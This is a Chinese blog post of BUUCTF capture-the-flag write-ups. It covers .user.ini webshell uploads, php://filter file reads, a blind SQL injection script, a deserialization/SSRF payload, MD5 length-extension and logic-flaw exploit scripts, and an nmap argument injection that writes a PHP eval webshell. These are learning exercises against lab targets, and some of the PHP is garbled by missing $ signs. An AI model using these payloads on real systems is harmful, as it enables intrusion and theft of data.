3rsh1
/single dog/college student/ctfer
3rsh1's Blog

BUUCTF做题笔记

checkin

相关基础

exif_imagetype ( string $filename ) : int

判断一个图片的类型。他会读取图片数据流的前几个字节来判断其类型。
filename 为图片名。如果检索到了适当的签名就会返回一个true,否则会返回一个false。

https://www.3rsh1.cool/wp-content/uploads/2020/04/wp_editor_md_76c80dbe97fc151f251f4a20c857721a.jpg

例子:


getimagesize ( string filename [, array &imageinfo ] ) : array

getimagesize() 函数将测定任何 GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM 或 WBMP 图像文件的大小并返回图像的尺寸以及文件类型和一个可以用于普通 HTML 文件中 IMG 标记中的 height/width 文本字符串。
第一个参数为文件名,第二个参数是接受结果的数组,可选。

https://www.3rsh1.cool/wp-content/uploads/2020/04/wp_editor_md_5c68e41ee20fb84dddc89c8e66a37359.jpg

php.ini文件为php的配置文件,其内存在了许多配置。而对于配置也存在分类:PHP_INI_SYSTEM、PHP_INI_PERDIR、PHP_INI_ALL、PHP_INI_USER。

https://www.3rsh1.cool/wp-content/uploads/2020/04/wp_editor_md_9d690959928684b4e0666720a1630554.jpg

除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER[‘DOCUMENT_ROOT’] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。例如:/var/www/即为linux的根目录。

在 .user.ini 风格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI 设置可被识别。但是实际上除了PHP_INI_SYSTEM类的配置以外其余的配置都可以通过.user.ini文件来设置。
这样看来的话,.user.ini文件就像是用户自定义的一个配置文件。和php.ini文件不同的地方是,.user.ini文件是动态加载的,即不需要重启中间件。在等待一段时间(默认300s)后,配置即可生效。

在php.ini配置中有两个比较有趣的项1,4:

https://www.3rsh1.cool/wp-content/uploads/2020/04/wp_editor_md_980b564f8a6397428f274164fdabdc53.jpg

auto_append_file: 即指定一个文件自动包含在要执行的文件中放在结尾。
auto_prepend_file:即指定一个文件自动包含在要执行的文件中,放在开头。

auto_prepend_file=01.gif

即,在任何执行文件前包含01.gif文件。只要存在nts的php版本都可以。需要注意的是.user.ini文件所在路径下需要有可执行php文件。
参考链接:

https://wooyun.js.org/drops/user.ini%E6%96%87%E4%BB%B6%E6%9E%84%E6%88%90%E7%9A%84PHP%E5%90%8E%E9%97%A8.html

wp:

构造.user.ini文件,内容如下:

GIF89a
auto_prepend_file=01.gif

上传文件。
构造01.gif文件,内容如下:

GIF89a

上传文件。
构造payload如下:

index.php?a=var_dump(scandir("/"))
index.php?a=var_dump(file_get_contents("/flag"))

因为自动加载.user.ini文件需要时间,故需要等一段时间重新设置的配置才会生效。

高明的黑客

页面提示了源码文件www.tar.gz
下载下来源码之后发现很多个文件,文件内多个敏感函数。没啥思路,文件异常的多,审计显然不靠谱。
粗略的看了一下,内容大概包含一下函数,函数详细信息见代码执行

system,eval,assert,exec 

只能先来fuzz测试一下,脚本如下(太慢了….不会多线程….脚本建议参考别的佬的):

没跑出来 (lll¬ω¬)。不过套路也就哪些。

secret file

基础知识,没什么好说的。
拿到界面之后先看一下源码。

https://www.3rsh1.cool/wp-content/uploads/2020/04/wp_editor_md_33c1bd495e93719d00ebd9415bdfc95e.jpg

发现线索。
转到对应页面:
点击secret按钮。
https://www.3rsh1.cool/wp-content/uploads/2020/04/wp_editor_md_9d430eb2f44369e7ad868d988d63ef08.jpg

提示很有趣。初步考虑存在302跳转。上bp。
https://www.3rsh1.cool/wp-content/uploads/2020/04/wp_editor_md_58812f50ac5cccc2ad98102c4dc6cb93.jpg

果然有tips。
转到对应页面,源码如下。


文件包含类题目,发现../,tp,input,data被过滤,但是filter没被过滤。直接读取flag文件源码。
payload:

?file=php://filter/read=convert.base64-encode/resource=flag.php

得到flag文件的base64编码之后转码即可发现flag。

hack world

一道sql注入的题目,直接给出了flag所在的字段名和表名。
这道题设计了许多小知识都比较基础。
一个是空格的绕过,fuzz的时候发现空格被过滤了。因此需要绕过空格的过滤,可以考虑用(),/**/来代替空格。
例子:

select/**/flag/**/from/**/flag;
select(flag)from(flag);

这里需要注意的一点就是,括号内的内容必须是我们可控的,不可使select之类的关键字或者符号。
还有就是异或的知识点:
什么是异或呢,通俗来讲就是如果不同的话就返回1。

select 1^1; //0
select 1^0; //1

异或运算是且运算和或运算的组合体,这里就不细究了。
拿到题目先fuzz测试一下。

https://www.3rsh1.cool/wp-content/uploads/2020/04/wp_editor_md_86efcb5e71c4422536123da81008f23f.jpg

以上被过滤。
以下违背过滤:
https://www.3rsh1.cool/wp-content/uploads/2020/04/wp_editor_md_b9140617577cec733743946c5d6545b6.jpg

括号可以用来代替空格,^可以用来支持异或运算。
因为自己之前有盲注的脚本就直接用了,如果是回显的脚本还要快些,脚本如下:

import requests
url='http://7e999d1a-310a-4a66-9825-13fff900cb9c.node3.buuoj.cn'
payload1='(select(flag)from(flag))'#user(),select group_concat(table_name) from information_schema.tables where table_schema='security',database()
payload2='ABCDEFGHIJKLMNOPRSTUVWXYZabcdefghijklmnopqrstuvwxyz!@#$%^&*()_+=\\/?><,.;:\'"[]{}'
a=''
for d in range(0,100):
    for i in payload2:
        payload='1^(if(ascii(substr(%s,%d,1))=%s,sleep(3),0))'%(payload1,d,ord(i))
        #print(payload)
        #url1=url+payload
        #print(url1)
        try:
            content=requests.post(url,timeout=2,data={'id':payload})
        except:
            a=a+i
            print(a)

跑一下即可出flag。题目里说跑出来的是uuid不知道啥意思。ORG我还是太菜了。

fakebook

拿到页面之后先看一下源码发现没什么信息。
然后尝试注册账号登录一下,登录之后发现会显示博客的内容,我的没有显示,由相应页面处理时间推测可能对博客做了一定的访问。
观察到url中有个no字段,顺手加个'发现报错了,尝试sql注入。fuzz测试之后发现没怎么过滤关键词,奇奇怪怪的是貌似只有union+空格+select被检测到了,尝试大小写没用,试着用/**/替换空格发现成功绕过。
接下来就是一波常规的爆字段名表名的操作了,这里就不再赘述。

拿到信息之后发现,data字段内容是一串php序列化字符串。

https://www.3rsh1.cool/wp-content/uploads/2020/04/wp_editor_md_aa2f119d66a1b40e7da6c98b3bf9c08b.jpg

推测,当用户注册信息的时候会对其进行序列化处理,然后保存在数据库内。当需要时会读取数据库内的反序列化字符串,进行序列化处理,同时会访问blog的网址获取内容。可见是ssrf类的题目。
仔细查看view.php的页面源码发现iframe标签。

iframe 元素会创建包含另外一个文档的内联框架(即行内框架)。
src 属性规定在 iframe 中显示的文档的 URL。

也就是说如果要利用ssrf的话,这个位置可能会显示具体信息。
返回注册页面尝试注册用户blog地址为:

file:///var/www/html/view.php

发现会报错,考虑到可能是对blog字段做了一定的过滤。

突发奇想或许应该先扫一下目录,看看有没有有用的信息。发现敏感文件robots.txt

https://www.3rsh1.cool/wp-content/uploads/2020/04/wp_editor_md_05fc8150bbb624229e28f47934249435.jpg

访问发现user.php.bak备份文件。下载下来之后审计。

name = name;this->age = (int)age;this->blog = blog;
    }

    function get(url)
    {
        ch = curl_init();
        //初始化curl会话
        curl_setopt(ch, CURLOPT_URL, url);//设置url
        curl_setopt(ch, CURLOPT_RETURNTRANSFER, 1);//curl_exec会返回响应值
        output = curl_exec(ch);//执行curl会话
        httpCode = curl_getinfo(ch, CURLINFO_HTTP_CODE);//返回状态码
        if(httpCode == 404) {
            return 404;
        }
        curl_close(ch);

        return output;
    }

    public function getBlogContents ()
    {
        returnthis->get(this->blog);
    }

    public function isValidBlog ()
    {blog = this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?/i", $blog);//blog的过滤。
    }
}

相关函数:

curl_init ([ string $url = NULL ] ) : resource

初始化一个curl会话,并且返回一个句柄供curl_setopt()、 curl_exec() 和 curl_close()函数使用。
其中url可以设置,也可以在后面的curl_setopt()函数中设置。

curl_setopt ( resource ch , intoption , mixed $value ) : bool

为初始化的curl会话设置选项,很多选项。第一个参数为设置的句柄,第二个参数是要设置的对应的项,第三个参数为设置的值。

curl_exec ( resource $ch ) : mixed

执行curl会话,并返回true或者false,如果设置了CURLOPT_RETURNTRANSFER选项的话,会返回响应内容,失败时返回false。

curl_getinfo ( resource ch [, intopt = 0 ] ) : mixed

获取curl会话最后一次执行的信息。
opt可以是如下的选项:

CURLINFO_EFFECTIVE_URL - 最后一个有效的URL地址
CURLINFO_HTTP_CODE - 最后一个收到的HTTP代码
CURLINFO_FILETIME - 远程获取文档的时间,如果无法获取,则返回值为“-1”
CURLINFO_TOTAL_TIME - 最后一次传输所消耗的时间
CURLINFO_NAMELOOKUP_TIME - 名称解析所消耗的时间
CURLINFO_CONNECT_TIME - 建立连接所消耗的时间
CURLINFO_PRETRANSFER_TIME - 从建立连接到准备传输所使用的时间
CURLINFO_STARTTRANSFER_TIME - 从建立连接到传输开始所使用的时间
CURLINFO_REDIRECT_TIME - 在事务传输开始前重定向所使用的时间
CURLINFO_SIZE_UPLOAD - 以字节为单位返回上传数据量的总值
CURLINFO_SIZE_DOWNLOAD - 以字节为单位返回下载数据量的总值
CURLINFO_SPEED_DOWNLOAD - 平均下载速度
CURLINFO_SPEED_UPLOAD - 平均上传速度
CURLINFO_HEADER_SIZE - header部分的大小
CURLINFO_HEADER_OUT - 发送请求的字符串
CURLINFO_REQUEST_SIZE - 在HTTP请求中有问题的请求的大小
CURLINFO_SSL_VERIFYRESULT - 通过设置CURLOPT_SSL_VERIFYPEER返回的SSL证书验证请求的结果
CURLINFO_CONTENT_LENGTH_DOWNLOAD - 从Content-Length: field中读取的下载内容长度
CURLINFO_CONTENT_LENGTH_UPLOAD - 上传内容大小的说明
CURLINFO_CONTENT_TYPE - 下载内容的Content-Type:值,NULL表示服务器没有发送有效的Content-Type: header

https://www.3rsh1.cool/wp-content/uploads/2020/04/wp_editor_md_65c4e9df90dc478544568f414a07322e.jpg

发现对于blog字段的过滤,开头必须是字母加.,绕不过无解。
在注册的时候存在过滤,那么考虑再显示用户信息的时候会不会不存在过滤呢。直接返回sql注入的界面,尝试伪造序列化字符串:

view.php?no=0/**/union/**/select/**/1,2,3,('O:8:"UserInfo":3:{s:4:"name";s:3:"123";s:3:"age";i:12;s:4:"blog";s:29:"file:///var/www/html/view.php";}')--+ 

这里需要注意的是union select 后面字段的分配问题,因为只有在相应位置上,才会去执行curl_exec()函数去访问这个界面。

https://www.3rsh1.cool/wp-content/uploads/2020/04/wp_editor_md_c0131164d413c155f26f3b06a3a05cfa.jpg

发现读取成功。构造语句直接读取flag.php文件,即可成功。

view.php?no=0/**/union/**/select/**/1,2,3,('O:8:"UserInfo":3:{s:4:"name";s:3:"123";s:3:"age";i:12;s:4:"blog";s:29:"file:///var/www/html/flag.php";}')--+ 

https://www.3rsh1.cool/wp-content/uploads/2020/04/wp_editor_md_1f80a7f50a41189949e634f8c5b39a6e.jpg

相关ssrf靶场:

https://www.freebuf.com/column/157466.html

ssrf_me

难度不是很大,因为对ssrf不是很擅长,做起来有点吃力。网页是flask框架。//还好之前看过flask框架的部分内容。。。。

基础知识

直接阅读源码:

from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)

secert_key = os.urandom(16)     #生成16个字节的串串


class Task:
    def __init__(self, action, param, sign, ip):
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)
        if(not os.path.exists(self.sandbox)):          #SandBox For Remote_Addr
            os.mkdir(self.sandbox)

    def Exec(self):
        result = {}
        result['code'] = 500
        if (self.checkSign()):      #判断md5是否伪造成功
            if "scan" in self.action:   #判断是否action内是否有scan
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                resp = scan(self.param) #读取param内的文件
                if (resp == "Connection Timeout"):
                    result['data'] = resp
                else:
                    print resp  #虽然有print但是不会回显,只会回显最后的result数组。
                    tmpfile.write(resp)
                    tmpfile.close()
                result['code'] = 200
            if "read" in self.action:
                f = open("./%s/result.txt" % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()
            if result['code'] == 500:
                result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        return result

    def checkSign(self):
        if (getSign(self.action, self.param) == self.sign): #sercet_key+param+action+'read'
            return True
        else:
            return False


#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))   #url解码
    action = "scan"
    return getSign(action, param)


@app.route('/De1ta',methods=['GET','POST'])
def challenge():
    action = urllib.unquote(request.cookies.get("action"))  #cookie内action变量
    param = urllib.unquote(request.args.get("param", ""))   #param变量
    sign = urllib.unquote(request.cookies.get("sign"))      #cookie内sign变量
    ip = request.remote_addr
    if(waf(param)):
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())

@app.route('/')
def index():
    return open("code.txt","r").read()


def scan(param):
    socket.setdefaulttimeout(1)
    try:
        return urllib.urlopen(param).read()[:50]    #读取网址的内容
    except:
        return "Connection Timeout"



def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest() #就是返回md5加密字符串


def md5(content):
    return hashlib.md5(content).hexdigest()


def waf(param):
    check=param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True
    else:
        return False


if __name__ == '__main__':
    app.debug = False
    app.run(host='0.0.0.0')

对param做了过滤,filegopher协议都被过滤掉了。
urllib是python的内置库,有四个模块:
1. quest :是最基本的HTTP请求模块,可以用来模拟发送请求。
2. error:异常处理模块,如果请求出现错误,可以捕获异常,然后进行其他操作,保证程序不会意外终止。
3. parse:工具模块,提供了很多URL处理方法,比如拆分、解析、合并等。
4. robotparser:主要用来识别网站的robots.txt文件,然后判断哪些网站可以爬。
这里注意如果要读取本地文件的话,url部分可以直接为文件地址。
如果使用urllib2.urlopen(param)去包含文件就必须加上file,否则会报ValueError: unknown url type: /path/to/file的错误。

local_file:///也可以读取本地文件,在urlopen函数内,具体连接如下:

https://bugs.python.org/issue35907
https://www.3rsh1.cool/wp-content/uploads/2020/04/wp_editor_md_0f5a57264e21275376c75491fcfe173d.jpg

题目及wp分析

继续来看上面的源码:
url打开之后就是源码。
geneSign页面返回的是serect_key+param+action的md5值,且此页面action默认为scan,param可以控制。
De1ta页面返回flag以及其他重要内容,同样会接受sign,action,param的值,用来计算serect_key+param+action的md5值,并判断是否和sign的值相同,若是相同则进一步判断action内是否有scan+read这两个字符串。

解法1

由上可得:serect_key+param+action的md5值我们可以得到,同样长度我们也可以得到,action内容可控,且题目也对action的值做了要求。也存在md5值的比较,因此我们可以联想到md5长度拓展攻击。

直接用hashpump构造payload,已知信息:

param=flag.txt
serect_key+param+action(scan)长度:28
serect_key+param+action(scan)md5值:1fa9da8c075330c15359c52f8b203974
增加内容:read

https://www.3rsh1.cool/wp-content/uploads/2020/04/wp_editor_md_67330d1dfb52172b47aac8d2c3d0b1a1.jpg

即可得到action值和sign值。
payload:

import requests
cookie={'action':'scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%e0%00%00%00%00%00%00%00read','sign':"56ea1929aad420abe43a46b9b8e62de4"}
url="http://9931ffce-5722-4608-9f25-98ca0394fc9a.node3.buuoj.cn/De1ta"

res=requests.get(url+'?param=flag.txt',cookies=cookie)
print(res.text)f0ae226888d7b66999f0d1e4a4dcc08d

解法2

有点类似于代码逻辑漏洞。
重点是,是否能通过md5值的校验和action值是否存在scan和read这两个字符串。
且拼接的逻辑很有趣:

serect_key param action 

在geneSign页面,返回的是action值为scan的md5值,若param=flag.txtread,则返回的是serect_key+flag.txt+readscan的md5值。而这个形式我们也可以在De1ta内构造:即让param=flag.txt,action=readscan,sign=geneSign回显的md5值。利用local_file:///构造的payload如下,也可以直接用flag.txt

import requests

cookie={'action':'readscan','sign':"5db8dae23de88350419b717a6089933e"}
url="http://9931ffce-5722-4608-9f25-98ca0394fc9a.node3.buuoj.cn/De1ta"

res=requests.get(url+'?param=local_file:///app/flag.txt',cookies=cookie)
print(res.text)

online_tool

感觉操作很神奇。具体考察的知识点可以参考php代码审计2escapeshellcmd,escapeshellarg缺陷,或者参考下面的url:

http://www.lmxspace.com/2018/07/16/%E8%B0%88%E8%B0%88escapeshellarg%E5%8F%82%E6%95%B0%E7%BB%95%E8%BF%87%E5%92%8C%E6%B3%A8%E5%85%A5%E7%9A%84%E9%97%AE%E9%A2%98/

因为nmap有输出到指定文件的命令。具体见官方文档:

http://www.nmap.com.cn/doc/manual.shtm

直接来分析payload:

?host='  -oG hack.php '

经过两个参数的过滤之后变成:

''\\''\<\?php eval\(\$_POST\[\"hack\"\]\)\;\?\> -oG hack.php '\\'''

若是命令行进行解析的话应该是如下形式:

  -oG hack.php \

这里我不是很清楚中间的php代码是怎么识别成字符串的。因为写到的shell里的内容中,\已经全部去掉了。
大概是自己判定的???

发表评论

textsms
account_circle
email

3rsh1's Blog

BUUCTF做题笔记
checkin 相关基础 exif_imagetype ( string $filename ) : int 判断一个图片的类型。他会读取图片数据流的前几个字节来判断其类型。 filename 为图片名。如果检索到了适当的签名就会…
扫描二维码继续阅读
2020-04-22